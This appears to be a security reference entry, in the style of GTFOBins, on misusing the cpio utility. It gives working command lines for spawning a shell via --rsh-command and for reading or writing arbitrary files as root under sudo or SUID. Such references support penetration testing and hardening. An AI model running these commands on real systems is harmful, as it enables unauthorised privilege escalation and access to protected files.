cpio
Shell
This executable can spawn an interactive system shell.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.echo '/bin/sh </dev/tty >/dev/tty' >localhost cpio -o --rsh-command /bin/sh -F localhost:
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
echo DATA >/path/to/temp-file echo /path/to/temp-file | cpio -udp .This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo DATA >/path/to/temp-file echo /path/to/temp-file | cpio -R 0:0 -udp .This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo DATA >/path/to/temp-file echo /path/to/temp-file | cpio -R 0:0 -udp .
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
echo /path/to/input-file | cpio -oThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo /path/to/input-file | cpio -oThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo /path/to/input-file | cpio -o - This function can be performed by any unprivileged user.
echo /path/to/input-file | cpio -dp . cat path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo /path/to/input-file | cpio -R $UID -dp . cat path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo /path/to/input-file | cpio -R $UID -dp . cat path/to/input-file